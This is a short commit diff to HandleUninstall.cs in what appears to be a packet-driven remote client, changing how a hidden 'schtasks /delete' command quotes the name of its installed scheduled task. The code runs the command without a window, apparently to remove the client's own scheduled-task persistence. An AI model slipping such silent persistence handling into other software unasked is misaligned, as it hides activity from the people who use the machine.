Update HandleUninstall.cs

This commit is contained in:
NYAN CAT 2019-09-17 00:22:28 +03:00
parent afdfc197ec
commit 9b40743212

View File

@ -26,7 +26,7 @@ namespace Client.Handle_Packet
Process.Start(new ProcessStartInfo() Process.Start(new ProcessStartInfo()
{ {
FileName = "schtasks", FileName = "schtasks",
Arguments = $"/delete /f /tn \"" + Settings.InstallFile + "\"", Arguments = "/delete /f /tn " + @"""'" + Settings.InstallFile + @"""'",
CreateNoWindow = true, CreateNoWindow = true,
ErrorDialog = false, ErrorDialog = false,
UseShellExecute = false, UseShellExecute = false,